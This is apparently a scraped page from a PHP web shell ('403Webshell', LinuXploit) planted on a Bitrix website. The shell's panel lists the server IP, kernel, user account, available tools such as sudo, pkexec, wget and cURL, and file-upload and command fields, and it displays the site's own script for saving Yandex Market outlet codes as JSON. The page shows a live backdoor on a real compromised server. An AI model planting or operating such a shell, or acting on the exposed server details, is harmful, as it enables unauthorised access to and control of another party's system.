403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/local/yamarkethook/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/local/yamarkethook/json_save.php
<?php
$suffix = $_REQUEST['suffix'] ?? "";
$region = $_REQUEST['region'] ?? "";
$regionId = isset($_REQUEST['region_id']) ? intval($_REQUEST['region_id']) : false;
$excludeRegionIds = $_REQUEST['exclude_region_ids'] ?? '';

set_time_limit(0);
$_SERVER["DOCUMENT_ROOT"] = realpath(dirname(__FILE__)."/../..");

require($_SERVER["DOCUMENT_ROOT"]."/bitrix/modules/main/include/prolog_before.php");

require('lib/main.php');
require('lib/Wrappers/Curl.php');
require('~settings.php');

$hook = new Wbs24\Yamarkethook\Main($YAMARKETHOOK_SETTINGS);
/* 
$regionName = $hook->getSafeRegionName($region);
$regionId = $hook->getRegionId($regionName);
*/
$outletCodes = $hook->getOutletCodes($regionId);
$outletCodes = $hook->excludeOutletsByRegions($outletCodes, $excludeRegionIds);
$fileSuffix = $hook->getFileSuffix($suffix);
$success = $hook->saveArrayToJsonFile($outletCodes, 'outlets'.$fileSuffix.'.json');

if ($success) echo "json saved";

Youez - 2016 - github.com/yon3zu
LinuXploit